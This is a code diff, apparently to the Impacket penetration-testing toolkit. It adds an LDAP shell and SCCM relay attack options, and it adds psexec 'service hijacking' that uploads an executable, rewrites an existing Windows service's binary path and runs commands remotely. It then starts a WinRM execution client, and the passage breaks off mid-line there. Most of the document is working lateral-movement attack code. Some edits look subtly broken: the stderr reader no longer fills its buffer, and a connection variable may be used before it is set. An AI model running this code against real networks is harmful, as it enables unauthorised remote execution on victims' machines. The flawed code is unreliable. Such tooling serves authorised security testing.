diff --git a/examples/ldap_shell.py b/examples/ldap_shell.py new file mode 100644 index 0000000000..f6f85d504e --- /dev/null +++ b/examples/ldap_shell.py @@ -0,0 +1,231 @@ +#!/usr/bin/env python3 +# +# Description: +# Implementation of ldap_shell.py, an interactive ldap client. +# +# Author: +# Andreas Vikerup (@vikerup) +# + +import argparse +import atexit +import logging +import sys +from getpass import getpass +from pathlib import Path + +from impacket import version +from impacket.examples import logger +from impacket.examples.ldap_shell import LdapShell +from impacket.examples.utils import EMPTY_LM_HASH, init_ldap_session, parse_target +import ldapdomaindump +from ldapdomaindump import reportWriter as _ReportWriter + + +class FakeShell: + def __init__(self): + self.stdin = sys.stdin + self.stdout = sys.stdout + self._readline = None + self._history_file = None + self._init_line_editing() + + def _init_line_editing(self): + if not self.stdin.isatty(): + return + + try: + import readline + except ImportError: + return + + self._readline = readline + history_path = Path.home() / '.impacket_ldap_shell_history' + + try: + readline.read_history_file(str(history_path)) + except (FileNotFoundError, OSError): + pass + + readline.parse_and_bind('set editing-mode emacs') + readline.parse_and_bind('set enable-meta-key on') + readline.parse_and_bind('tab: complete') + + self._history_file = history_path + atexit.register(self._persist_history) + + def _persist_history(self): + if self._readline is None or self._history_file is None: + return + try: + self._readline.write_history_file(str(self._history_file)) + except OSError: + pass + + def close(self): + self._persist_history() + + +def _ensure_safe_report_writer(): + if getattr(_ReportWriter, '_impacket_safe_patch', False): + return + + def safe_format_string(self, value): + from datetime import datetime + + if isinstance(value, datetime): + try: + return value.strftime('%x %X') + except ValueError: + return '0' + if isinstance(value, (bytes, bytearray)): + return value.decode('utf-8', errors='ignore') + if isinstance(value, str): + return value + if isinstance(value, int): + return str(value) + if value is None: + return '' + return str(value) + + def safe_html_escape(self, html): + if isinstance(html, (bytes, bytearray)): + html = html.decode('utf-8', errors='ignore') + elif not isinstance(html, str): + html = str(html) + return (html.replace("&", "&") + .replace("<", "<") + .replace(">", ">") + .replace("'", "'") + .replace('"', """)) + + _ReportWriter.formatString = safe_format_string + _ReportWriter.htmlescape = safe_html_escape + _ReportWriter._impacket_safe_patch = True + + +class DomainDumper: + def __init__(self, ldap_server, ldap_session, base_path, root): + _ensure_safe_report_writer() + config = ldapdomaindump.domainDumpConfig() + if base_path is not None: + config.basepath = base_path + self._dumper = ldapdomaindump.domainDumper(ldap_server, ldap_session, config, root) + + def domainDump(self): + self._dumper.domainDump() + + @property + def root(self): + return self._dumper.root + + @root.setter + def root(self, value): + self._dumper.root = value + + +def main(): + print(version.BANNER) + + parser = argparse.ArgumentParser(add_help=True, description='Interactive LDAP shell using impacket\'s helpers') + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + + auth_group = parser.add_argument_group('authentication') + auth_group.add_argument('-hashes', action='store', metavar='LMHASH:NTHASH', help='NTLM hashes, format is LMHASH:NTHASH') + auth_group.add_argument('-no-pass', action='store_true', help="don't ask for password (useful for -k)") + auth_group.add_argument('-k', action='store_true', help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials ' + 'cannot be found, it will use the ones specified in the command ' + 'line') + auth_group.add_argument('-aesKey', action='store', metavar='hex key', help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + + conn_group = parser.add_argument_group('connection') + conn_group.add_argument('-dc-ip', action='store', metavar='ip address', + help='IP Address or hostname of the domain controller (KDC) for Kerberos. If omitted it will ' + 'use the target portion of the connection string') + conn_group.add_argument('-ldaps', action='store_true', help='Use LDAPS instead of LDAP') + conn_group.add_argument('-dump-dir', action='store', metavar='path', default='.', + help='Directory where domain dump files will be stored (default: current directory)') + + if len(sys.argv) == 1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + logger.init(options.ts, options.debug) + + domain, username, password, address = parse_target(options.target) + + if domain is None: + domain = '' + if username is None: + username = '' + if password is None: + password = '' + + dc_ip = options.dc_ip + dc_host = None + if options.k: + if dc_ip is None and address is not None: + dc_host = address + else: + if dc_ip is None and address is not None: + dc_ip = address + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + password = getpass('Password:') + + if options.aesKey is not None: + options.k = True + + if options.no_pass: + password = '' + + if options.hashes is not None: + try: + lmhash, nthash = options.hashes.split(':') + except ValueError: + logging.error('Hashes must be supplied in LMHASH:NTHASH format') + sys.exit(1) + if lmhash == '': + lmhash = EMPTY_LM_HASH + else: + lmhash = '' + nthash = '' + + console = None + try: + ldap_server, ldap_session = init_ldap_session(domain, username, password, lmhash, nthash, options.k, + dc_ip, dc_host, options.aesKey, options.ldaps) + server_info = ldap_session.server.info if ldap_session else None + root_dn = None + if server_info is not None: + other = server_info.other or {} + default_nc = other.get('defaultNamingContext') + if default_nc: + root_dn = default_nc[0] + + if root_dn is None: + logging.error('Could not determine defaultNamingContext from the LDAP server') + sys.exit(1) + + console = FakeShell() + domain_dumper = DomainDumper(ldap_server, ldap_session, options.dump_dir, root_dn) + shell = LdapShell(console, domain_dumper, ldap_session) + shell.use_rawinput = True + shell.cmdloop() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error(str(e)) + finally: + if console is not None: + console.close() + +if __name__ == "__main__": + main() diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py index 84f0cc1796..d738d4a736 100644 --- a/examples/ntlmrelayx.py +++ b/examples/ntlmrelayx.py @@ -221,6 +221,9 @@ def start_servers(options, threads): c.setAltName(options.altname) c.setisADMINAttack(options.adminservice, options.logonname, options.displayname, options.objectsid) + c.setIsSCCMAttack(options.sccm) + c.setSCCMOptions(options.sccm_device, options.sccm_fqdn, options.sccm_server, options.sccm_sleep) + #If the redirect option is set, configure the HTTP server to redirect targets to SMB if server is HTTPRelayServer and options.r is not None: c.setMode('REDIRECT') @@ -439,6 +442,13 @@ def stop_servers(threads): sccmdpoptions.add_argument('--sccm-dp-extensions', action='store', required=False, help='A custom list of extensions to look for when downloading files from the SCCM Distribution Point. If not provided, defaults to .ps1,.bat,.xml,.txt,.pfx') sccmdpoptions.add_argument('--sccm-dp-files', action='store', required=False, help='The path to a file containing a list of specific URLs to download from the Distribution Point, instead of downloading by extensions. Providing this argument will skip file indexing') + sccmoptions = parser.add_argument_group("SCCM attack options") + sccmoptions.add_argument('--sccm', action='store_true', required=False, help='Enable SCCM relay attack') + sccmoptions.add_argument('--sccm-device', action='store', metavar="DEVICE", required=False, help='Name of fake device to register') + sccmoptions.add_argument('--sccm-fqdn', action='store', metavar="FQDN", required=False, help='Fully qualified domain name of the target domain') + sccmoptions.add_argument('--sccm-server', action='store', metavar="HOSTNAME", required=False, help='Hostname of the target SCCM server') + sccmoptions.add_argument('--sccm-sleep', action='store', metavar="SECONDS", type=int, default=5, required=False, help='Sleep time before requesting policy') + try: options = parser.parse_args() except Exception as e: diff --git a/examples/psexec.py b/examples/psexec.py index 542d72100a..120b24a4c0 100755 --- a/examples/psexec.py +++ b/examples/psexec.py @@ -32,11 +32,11 @@ from six import PY3 from impacket.examples import logger -from impacket import version, smb +from impacket import version, smb, LOG from impacket.smbconnection import SMBConnection -from impacket.dcerpc.v5 import transport +from impacket.dcerpc.v5 import transport, scmr from impacket.structure import Structure -from impacket.examples import remcomsvc, serviceinstall +from impacket.examples import remcomsvc, serviceinstall, servicechange from impacket.examples.utils import parse_target from impacket.krb5.keytab import Keytab @@ -63,11 +63,10 @@ class RemComResponse(Structure): RemComSTDERR = "RemCom_stderr" lock = Lock() - class PSEXEC: def __init__(self, command, path, exeFile, copyFile, port=445, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, kdcHost=None, serviceName=None, - remoteBinaryName=None): + remoteBinaryName=None, service_list=False, list_all=False, service_change=None): self.__username = username self.__password = password self.__port = port @@ -83,12 +82,27 @@ def __init__(self, command, path, exeFile, copyFile, port=445, self.__kdcHost = kdcHost self.__serviceName = serviceName self.__remoteBinaryName = remoteBinaryName + self.__service_list = service_list + self.__list_all = list_all + self.__service_change = service_change if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') + def run(self, remoteName, remoteHost): + # Handle service list functionality + if self.__service_list: + self.listServices(remoteName, remoteHost, self.__list_all) + + # Handle service hijacking functionality + if self.__service_change is not None: + return self.executeViaServiceHijacking(remoteName, remoteHost) + + + # Original psexec functionality stringbinding = r'ncacn_np:%s[\pipe\svcctl]' % remoteName logging.debug('StringBinding %s'%stringbinding) + rpctransport = transport.DCERPCTransportFactory(stringbinding) rpctransport.set_dport(self.__port) rpctransport.setRemoteHost(remoteHost) @@ -96,6 +110,7 @@ def run(self, remoteName, remoteHost): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) + rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) self.doStuff(rpctransport) @@ -113,11 +128,331 @@ def openPipe(self, s, tid, pipe, accessMask): if tries == 0: raise Exception('Pipe not ready, aborting') - fid = s.openFile(tid,pipe,accessMask, creationOption = 0x40, fileAttributes = 0x80) return fid + def listServices(self, remoteName, remoteHost, list_all): + """List all services and mark suitable ones for hijacking""" + # Service listing functionality for hijacking analysis + LOG.info("Listing services on %s" % remoteHost) + + try: + # Create SMB connection + stringbinding = r'ncacn_np:%s[\pipe\svcctl]' % remoteName + rpctransport = transport.DCERPCTransportFactory(stringbinding) + rpctransport.set_dport(self.__port) + rpctransport.setRemoteHost(remoteHost) + + if hasattr(rpctransport, 'set_credentials'): + rpctransport.set_credentials(self.__username, self.__password, self.__domain, + self.__lmhash, self.__nthash, self.__aesKey) + + rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) + + # Create SMB connection for service changer + dce = rpctransport.get_dce_rpc() + dce.connect() + smb_connection = rpctransport.get_smb_connection() + + # Create service changer + service_changer = servicechange.ServiceChanger(smb_connection, remoteHost) + + # Get all services + services = service_changer.listServices(list_all) + + # Filter only suitable services + suitable_services = [s for s in services if s.is_suitable] + + if not suitable_services: + print("\n" + "="*120) + print("NO SUITABLE SERVICES FOUND FOR HIJACKING") + print("="*120) + return True + + # Print header + print("\n" + "="*120) + print("SUITABLE SERVICES FOR HIJACKING - %s" % remoteHost) + print("="*120) + print("%-30s %-15s %-15s %-15s %-20s" % + ("SERVICE NAME", "START TYPE", "STATUS", "ACCOUNT", "PRIORITY")) + print("-"*120) + + # Sort services by priority (lower number = higher priority) + suitable_services.sort(key=lambda x: x.priority) + + # Print only suitable services + fstart_type_map = { + 0: "BOOT", # SERVICE_BOOT_START + 1: "SYSTEM", # SERVICE_SYSTEM_START + 2: "AUTO", # SERVICE_AUTO_START + 3: "MANUAL", # SERVICE_DEMAND_START + 4: "DISABLED" # SERVICE_DISABLED + } + + # Affichage des services adaptés + for service in suitable_services: + start_type_str = fstart_type_map.get(service.start_type, "UNKNOWN") + account = service.start_name[:20] if getattr(service, "start_name", None) else "N/A" + + print(f"{service.service_name[:30]:<30} " + f"{start_type_str:<15} " + f"{'STOPPED':<15} " + f"{account:<20} " + f"{str(service.priority):<10}") + + print("="*120) + print("Total suitable services: %d" % len(suitable_services)) + print("="*120) + + return True + + except Exception as e: + LOG.critical("Error listing services: %s" % str(e)) + return False + + def executeViaServiceHijacking(self, remoteName, remoteHost): + """Execute command via service hijacking""" + # Main service hijacking execution method + LOG.info("Executing command via service hijacking: %s" % self.__command) + + try: + # Create SMB connection + stringbinding = r'ncacn_np:%s[\pipe\svcctl]' % remoteName + rpctransport = transport.DCERPCTransportFactory(stringbinding) + rpctransport.set_dport(self.__port) + rpctransport.setRemoteHost(remoteHost) + + if hasattr(rpctransport, 'set_credentials'): + rpctransport.set_credentials(self.__username, self.__password, self.__domain, + self.__lmhash, self.__nthash, self.__aesKey) + + rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) + + # Create SMB connection for service changer + dce = rpctransport.get_dce_rpc() + dce.connect() + smb_connection = rpctransport.get_smb_connection() + + # Create service changer + service_changer = servicechange.ServiceChanger(smb_connection, remoteHost) + + # Find suitable service or use specified one + if self.__service_change: + # Use specified service + LOG.info("Using specified service: %s" % self.__service_change) + service_name = self.__service_change + + # Verify service exists and is suitable + scm_handle = service_changer.openSvcManager() + service_info = service_changer.getServiceInfo(service_name, scm_handle) + scmr.hRCloseServiceHandle(service_changer.rpcsvc, scm_handle) + + if not service_info.service_name: + LOG.critical("Service %s not found" % service_name) + return False + + if not service_changer.isServiceSuitable(service_info): + LOG.critical("Service %s is not suitable: %s" % (service_name, service_info.reason)) + return False + else: + # Find a suitable service automatically + LOG.info("Looking for suitable service...") + service_info = service_changer.findSuitableService() + if not service_info: + LOG.critical("No suitable service found for hijacking") + return False + service_name = service_info.service_name + + LOG.debug("Selected service for hijacking: %s" % service_name) + + # Step 1: Prepare service hijacking (restore original config first, then backup) + LOG.debug("Preparing service hijacking...") + # Restore service to original state if previously hijacked + + ''' + Not valid check, not use static uploaded filename + # First, try to restore service to original state if it was previously hijacked + LOG.debug("Checking if service needs restoration to original state...") + try: + # Get current service info to check if it's been hijacked + scm_handle = service_changer.openSvcManager() + current_info = service_changer.getServiceInfo(service_name, scm_handle) + scmr.hRCloseServiceHandle(service_changer.rpcsvc, scm_handle) + if current_info.binary_path_name and ('RemCom' in current_info.binary_path_name): + LOG.info("Service appears to be hijacked, attempting to restore original configuration...") + # Try to restore using a default configuration + from impacket.examples.servicechange import ServiceInfo + default_config = ServiceInfo() + default_config.binary_path_name = "C:\\Windows\\System32\\OpenSSH\\ssh-agent.exe" if service_name == "ssh-agent" else "C:\\Windows\\System32\\alg.exe" if service_name == "ALG" else "C:\\Windows\\system32\\ntfrs.exe" if service_name == "NtFrs" else "C:\\Windows\\system32\\vssvc.exe" if service_name == "VSS" else "C:\\Windows\\system32\\SearchIndexer.exe" if service_name == "WSearch" else "C:\\Windows\\System32\\snmptrap.exe" if service_name == "SNMPTRAP" else "C:\\Windows\\system32\\locator.exe" if service_name == "RpcLocator" else "" + default_config.start_type = 3 # MANUAL + default_config.start_name = "NT AUTHORITY\\LocalService" if service_name in ["ALG", "SNMPTRAP"] else "LocalSystem" + service_changer.restoreServiceConfig(service_name, default_config) + LOG.debug("Service restored to default configuration") + except Exception as e: + LOG.debug("Could not restore service to original state: %s" % str(e)) + ''' + + # Now backup the (hopefully) original configuration + original_config = service_changer.backupServiceConfig(service_name) + + # Upload RemComSvc file (use custom file if specified) + from impacket.examples import serviceinstall + + # Determine which executable to use + if self.__exeFile is not None: + # Use custom file specified with -file parameter + LOG.info("Using custom executable: %s" % self.__exeFile) + try: + exe_file = open(self.__exeFile, 'rb') + except Exception as e: + LOG.critical("Error opening custom executable %s: %s" % (self.__exeFile, str(e))) + return False + installService = serviceinstall.ServiceInstall(service_changer.connection, exe_file, service_name, self.__remoteBinaryName) + remcom_filename = installService.binaryServiceName + service_changer.uploadFile(exe_file, "System32\\" + remcom_filename) + else: + # Use default RemComSvc + LOG.info("Using default RemComSvc executable") + installService = serviceinstall.ServiceInstall(service_changer.connection, remcomsvc.RemComSvc(), service_name, self.__remoteBinaryName) + remcom_svc = remcomsvc.RemComSvc() + remcom_filename = installService.binaryServiceName + service_changer.uploadFile(remcom_svc, "System32\\" + remcom_filename) + + # Handle -c parameter (copy file and modify command) + if self.__copyFile is not None: + LOG.info("Copying file for execution: %s" % self.__copyFile) + try: + # Copy the file to target + service_changer.uploadFile(open(self.__copyFile, 'rb'), "System32\\" + os.path.basename(self.__copyFile)) + # Modify command to use the copied file + self.__command = os.path.basename(self.__copyFile) + ' ' + self.__command + LOG.info("Modified command to: %s" % self.__command) + except Exception as e: + LOG.critical("Error copying file %s: %s" % (self.__copyFile, str(e))) + return False + + # Hijack service with RemComSvc + full_remcom_path = "C:\\Windows\\System32\\" + remcom_filename + if not service_changer.hijackService(service_name, full_remcom_path): + LOG.critical("Failed to hijack service") + return False + + LOG.info("Service hijacked successfully, now starting service to executing command...") + # Step 2: Execute command through hijacked service + # The service is already hijacked with RemComSvc, now we need to communicate with it + LOG.debug("Executing command through hijacked service...") + # Execute command through the hijacked service + + # Create SMB connection for communication + stringbinding = r'ncacn_np:%s[\pipe\svcctl]' % remoteName + rpctransport = transport.DCERPCTransportFactory(stringbinding) + rpctransport.set_dport(self.__port) + rpctransport.setRemoteHost(remoteHost) + if hasattr(rpctransport, 'set_credentials'): + rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, + self.__nthash, self.__aesKey) + rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) + + # Execute command through the hijacked service using doStuff logic + # but skip the service installation part since we already hijacked a service + self.executeCommandViaHijackedService(rpctransport, service_changer, service_name, original_config, full_remcom_path) + + # Step 3: Restore original service configuration + service_changer.restoreServiceConfig(service_name, original_config) + + # Cleanup uploaded files + service_changer.cleanupFiles() + + # Cleanup -c parameter file if used + if self.__copyFile is not None: + try: + LOG.info("Cleaning up copied file: %s" % os.path.basename(self.__copyFile)) + service_changer.connection.deleteFile("ADMIN$", "System32\\" + os.path.basename(self.__copyFile)) + except Exception as e: + LOG.warning("Failed to cleanup copied file: %s" % str(e)) + + return True + + except (Exception, KeyboardInterrupt) as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error(str(e)) + if smb_connection is not None: + smb_connection.logoff() + sys.stdout.flush() + sys.exit(0) + + if smb_connection is not None: + smb_connection.logoff() + sys.stdout.flush() + sys.exit(0) + + def executeCommandViaHijackedService(self, rpctransport, service_changer, service_name, original_config, uploadedFile): + """Execute command through already hijacked service""" + # Command execution through hijacked service + dce = rpctransport.get_dce_rpc() + try: + dce.connect() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.critical(str(e)) + sys.exit(1) + + global dialect + dialect = rpctransport.get_smb_connection().getDialect() + + try: + s = rpctransport.get_smb_connection() + s.setTimeout(100000) + + # Connect to IPC$ and open communication pipe + tid = s.connectTree('IPC$') + fid_main = self.openPipe(s, tid, r'\RemCom_communicaton', 0x12019f) + + # Create command message + packet = RemComMessage() + pid = os.getpid() + packet['Machine'] = ''.join([random.choice(string.ascii_letters) for _ in range(4)]) + if self.__path is not None: + packet['WorkingDir'] = self.__path + packet['Command'] = self.__command + packet['ProcessID'] = pid + + # Send command to hijacked service + s.writeNamedPipe(tid, fid_main, packet.getData()) + + global LastDataSent + LastDataSent = '' + + # Start communication pipes + stdin_pipe = RemoteStdInPipe(rpctransport, + r'\%s%s%d' % (RemComSTDIN, packet['Machine'], packet['ProcessID']), + smb.FILE_WRITE_DATA | smb.FILE_APPEND_DATA, None) + stdin_pipe.start() + stdout_pipe = RemoteStdOutPipe(rpctransport, + r'\%s%s%d' % (RemComSTDOUT, packet['Machine'], packet['ProcessID']), + smb.FILE_READ_DATA) + stdout_pipe.start() + stderr_pipe = RemoteStdErrPipe(rpctransport, + r'\%s%s%d' % (RemComSTDERR, packet['Machine'], packet['ProcessID']), + smb.FILE_READ_DATA) + stderr_pipe.start() + + # Wait for response + ans = s.readNamedPipe(tid, fid_main, 8) + if len(ans): + retCode = RemComResponse(ans) + logging.info("Process %s finished with ErrorCode: %d, ReturnCode: %d" % (self.__command, retCode['ErrorCode'], retCode['ReturnCode'])) + + #sys.exit(retCode['ErrorCode']) + + except (Exception, KeyboardInterrupt, SystemExit) as e: + return + def doStuff(self, rpctransport): dce = rpctransport.get_dce_rpc() @@ -136,8 +471,6 @@ def doStuff(self, rpctransport): try: unInstalled = False s = rpctransport.get_smb_connection() - - # We don't wanna deal with timeouts from now on. s.setTimeout(100000) if self.__exeFile is None: installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), remcomsvc.RemComSvc(), self.__serviceName, self.__remoteBinaryName) @@ -148,22 +481,17 @@ def doStuff(self, rpctransport): logging.critical(str(e)) sys.exit(1) installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), f, self.__serviceName, self.__remoteBinaryName) - if installService.install() is False: return if self.__exeFile is not None: f.close() - # Check if we need to copy a file for execution if self.__copyFile is not None: installService.copy_file(self.__copyFile, installService.getShare(), os.path.basename(self.__copyFile)) - # And we change the command to be executed to this filename self.__command = os.path.basename(self.__copyFile) + ' ' + self.__command - tid = s.connectTree('IPC$') fid_main = self.openPipe(s,tid,r'\RemCom_communicaton',0x12019f) - packet = RemComMessage() pid = os.getpid() @@ -175,12 +503,10 @@ def doStuff(self, rpctransport): s.writeNamedPipe(tid, fid_main, packet.getData()) - # Here we'll store the command we type so we don't print it back ;) - # ( I know.. globals are nasty :P ) + global LastDataSent LastDataSent = '' - # Create the pipes threads stdin_pipe = RemoteStdInPipe(rpctransport, r'\%s%s%d' % (RemComSTDIN, packet['Machine'], packet['ProcessID']), smb.FILE_WRITE_DATA | smb.FILE_APPEND_DATA, installService.getShare()) @@ -193,14 +519,13 @@ def doStuff(self, rpctransport): r'\%s%s%d' % (RemComSTDERR, packet['Machine'], packet['ProcessID']), smb.FILE_READ_DATA) stderr_pipe.start() - - # And we stay here till the end ans = s.readNamedPipe(tid,fid_main,8) if len(ans): retCode = RemComResponse(ans) logging.info("Process %s finished with ErrorCode: %d, ReturnCode: %d" % ( self.__command, retCode['ErrorCode'], retCode['ReturnCode'])) + installService.uninstall() if self.__copyFile is not None: # We copied a file for execution, let's remove it @@ -244,6 +569,7 @@ def connectPipe(self): #self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT) self.server = SMBConnection(self.transport.get_smb_connection().getRemoteName(), self.transport.get_smb_connection().getRemoteHost(), sess_port=self.port, preferredDialect=dialect) + user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials if self.transport.get_kerberos() is True: self.server.kerberosLogin(user, passwd, domain, lm, nt, aesKey, kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS) @@ -261,7 +587,6 @@ def connectPipe(self): traceback.print_exc() logging.error("Something wen't wrong connecting the pipes(%s), try again" % self.__class__) - class RemoteStdOutPipe(Pipes): def __init__(self, transport, pipe, permisssions): Pipes.__init__(self, transport, pipe, permisssions) @@ -270,7 +595,6 @@ def run(self): self.connectPipe() global LastDataSent - if PY3: __stdoutOutputBuffer, __stdoutData = b"", b"" @@ -306,9 +630,6 @@ def run(self): __stdoutData = b"\n".join(lines[:-1]) + b"\n" # Remainder data for next iteration __stdoutOutputBuffer = lines[-1] - # print("[+] newline in __stdoutOutputBuffer") - # print(" | __stdoutData:",__stdoutData) - # print(" | __stdoutOutputBuffer:",__stdoutOutputBuffer) if len(__stdoutData) != 0: # There is data to print @@ -387,6 +708,7 @@ def __init__(self, transport, pipe, permisssions): def run(self): self.connectPipe() + if PY3: __stderrOutputBuffer, __stderrData = b'', b'' @@ -398,16 +720,12 @@ def run(self): else: try: if len(stderr_ans) != 0: - # Append new data to the buffer while there is data to read - __stderrOutputBuffer += stderr_ans - - if b'\n' in __stderrOutputBuffer: - # We have read a line, print buffer if it is not empty - lines = __stderrOutputBuffer.split(b"\n") - # All lines, we shouldn't have encoding errors - __stderrData = b"\n".join(lines[:-1]) + b"\n" - # Remainder data for next iteration - __stderrOutputBuffer = lines[-1] + if b'\n' in __stderrOutputBuffer: + # We have read a line, print buffer if it is not empty + lines = __stderrOutputBuffer.split(b"\n") + # All lines, we shouldn't have encoding errors + __stderrData = b"\n".join(lines[:-1]) + b"\n" + __stderrOutputBuffer = lines[-1] if len(__stderrData) != 0: # There is data to print @@ -467,7 +785,6 @@ def run(self): except: pass - class RemoteShell(cmd.Cmd): def __init__(self, server, port, credentials, tid, fid, share, transport): cmd.Cmd.__init__(self, False) @@ -538,6 +855,7 @@ def do_lput(self, s): src_file = os.path.basename(src_path) fh = open(src_path, 'rb') + f = dst_path + '/' + src_file pathname = f.replace('/','\\') logging.info("Uploading %s to %s\\%s" % (src_file, self.share, dst_path)) @@ -568,7 +886,6 @@ def default(self, line): self.send_data(line.encode(CODEC)+b'\r\n') else: self.send_data(line.decode(sys.stdin.encoding).encode(CODEC)+'\r\n') - def send_data(self, data, hideOutput = True): if hideOutput is True: global LastDataSent @@ -633,6 +950,13 @@ def run(self): ' used to trigger the payload') group.add_argument('-remote-binary-name', action='store', metavar="remote_binary_name", default = None, help='This will ' 'be the name of the executable uploaded on the target') + + group = parser.add_argument_group('service hijacking') + # Service hijacking functionality arguments + + group.add_argument('-service-list', action='store_true', help='List most common services on target and mark suitable ones for hijacking') + group.add_argument('--list-all', default=False, action='store_true', help='Flag to list all services instead of most common ones') + group.add_argument('-service-change', action='store', metavar="service_name", help='Execute command by hijacking specified service') if len(sys.argv)==1: parser.print_help() @@ -641,7 +965,17 @@ def run(self): options = parser.parse_args() # Init the example's logger theme - logger.init(options.ts, options.debug) + # Handle different versions of impacket logger.init() + try: + # Try the newer API with both ts and debug parameters + logger.init(options.ts, options.debug) + except TypeError: + try: + # Fallback for versions that only accept debug parameter + logger.init(options.debug) + except TypeError: + # Fallback for versions that don't accept any parameters + logger.init() if options.codec is not None: CODEC = options.codec @@ -673,5 +1007,6 @@ def run(self): command = 'cmd.exe' executer = PSEXEC(command, options.path, options.file, options.c, int(options.port), username, password, domain, options.hashes, - options.aesKey, options.k, options.dc_ip, options.service_name, options.remote_binary_name) + options.aesKey, options.k, options.dc_ip, options.service_name, options.remote_binary_name, + options.service_list, options.list_all, options.service_change) executer.run(remoteName, options.target_ip) diff --git a/examples/winrmexec.py b/examples/winrmexec.py new file mode 100644 index 0000000000..24d0e5ae63 --- /dev/null +++ b/examples/winrmexec.py @@ -0,0 +1,1475 @@ +#!/usr/bin/env python + +import os, sys, re, uuid, logging, ssl + +from base64 import b64encode, b64decode +from struct import pack, unpack +from random import randbytes +from pathlib import Path +from datetime import datetime, UTC + +import xml.etree.ElementTree as ET + +# pip install requests +from requests import Session, Request + +from urllib3 import disable_warnings +from urllib3.util import SKIP_HEADER +from urllib.parse import urlparse +from urllib3.exceptions import InsecureRequestWarning +disable_warnings(category=InsecureRequestWarning) + +# -- impacket: ------------------------------------------------------------------------------------ +from pyasn1.codec.ber import encoder, decoder +from pyasn1.type.univ import ObjectIdentifier, noValue + +from impacket.ntlm import getNTLMSSPType1, getNTLMSSPType3, SEALKEY, SIGNKEY, SEAL, SIGN +from impacket.ntlm import NTLMAuthNegotiate, NTLMAuthChallenge, NTLMAuthChallengeResponse +from impacket.ntlm import AV_PAIRS, NTLMSSP_AV_CHANNEL_BINDINGS + +from impacket.krb5.asn1 import AP_REQ, AP_REP, TGS_REP, Authenticator, EncAPRepPart +from impacket.krb5.asn1 import seq_set, _sequence_component, _sequence_optional_component +from impacket.krb5.types import Principal, KerberosTime, Ticket +from impacket.krb5.crypto import Key, _enctype_table +from impacket.krb5.ccache import CCache +from impacket.krb5.constants import PrincipalNameType, ApplicationTagNumbers, encodeFlags +from impacket.krb5.kerberosv5 import getKerberosTGS, getKerberosTGT + +from impacket.krb5.gssapi import GSSAPI, KRB5_AP_REQ, CheckSumField +from impacket.krb5.gssapi import GSS_C_MUTUAL_FLAG, GSS_C_REPLAY_FLAG, GSS_C_SEQUENCE_FLAG +from impacket.krb5.gssapi import GSS_C_CONF_FLAG, GSS_C_INTEG_FLAG, KG_USAGE_INITIATOR_SEAL +from impacket.krb5.gssapi import KG_USAGE_ACCEPTOR_SEAL + +from impacket.spnego import SPNEGO_NegTokenInit, SPNEGO_NegTokenResp, TypesMech + +from impacket import version +from impacket.examples import logger +from impacket.examples.utils import parse_target + +import pyasn1.type as asn1 +from pyasn1.type import univ, namedtype, tag + +from Cryptodome.Hash import HMAC, MD5, SHA256 +from Cryptodome.Cipher import ARC4 + +from cryptography import x509 +from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat + +# -- helpers and constants: ----------------------------------------------------------------------- +def chunks(xs, n): + for off in range(0, len(xs), n): + yield xs[off:off+n] + +def b64str(s): + if isinstance(s, str): + return b64encode(s.encode()).decode() + else: + return b64encode(s).decode() + +_utfstr = re.compile(r'_x([0-9a-fA-F]{4})_') +def utfstr(s): + # strings inside clixml that have non-printable characters are encoded like this, eg: + # '\n' would be "_x000A_", etc.. although i don't know how to tell if a charcter was + # encoded during xml serialization or there was a literal *string* "_x000A_" somewhere + # to begin with: + try: + return _utfstr.sub(lambda m: bytes.fromhex(m.group(1)).decode("utf-16be"), s) + except: + return s + +zero_uuid = str(uuid.UUID(bytes_le=bytes(16))).upper() + +# stolen from https://github.com/skelsec/asyauth/blob/main/asyauth/protocols/kerberos/gssapi.py +# this parses as GSSAPI structure from impacket.spnego but if i use that to create this it fails +# for whatever reason... +def krb5_mech_indep_token_encode(oid, data): + payload = encoder.encode(ObjectIdentifier(oid)) + data + n = len(payload) + if n < 128: + size = n.to_bytes(1, "big") + else: + size = n.to_bytes((n.bit_length() + 7) // 8, "big") + size = (128 + len(size)).to_bytes(1, "big") + size + + return b"\x60" + size + payload + +def krb5_mech_indep_token_decode(data): + skip = 2 + (data[1] if data[1] < 128 else (data[1] - 128)) + return decoder.decode(data[skip:], asn1Spec=ObjectIdentifier) + +def get_server_certificate(url): + addr = (urlparse(url).hostname, urlparse(url).port or 443) + cert = ssl.get_server_certificate(addr) + cert = cert.removeprefix("-----BEGIN CERTIFICATE-----\n") + cert = cert.removesuffix("-----END CERTIFICATE-----\n") + return b64decode(cert) + +# stolen from https://github.com/jborean93/pyspnego/blob/main/src/spnego/_credssp.py#L127 +def tls_trailer_length(data_length, protocol, cipher_suite): + if protocol == "TLSv1.3": + trailer_length = 17 + elif re.match(r"^.*[-_]GCM[-_][\w\d]*$", cipher_suite): + trailer_length = 16 + else: + hash_algorithm = cipher_suite.split("-")[-1] + hash_length = 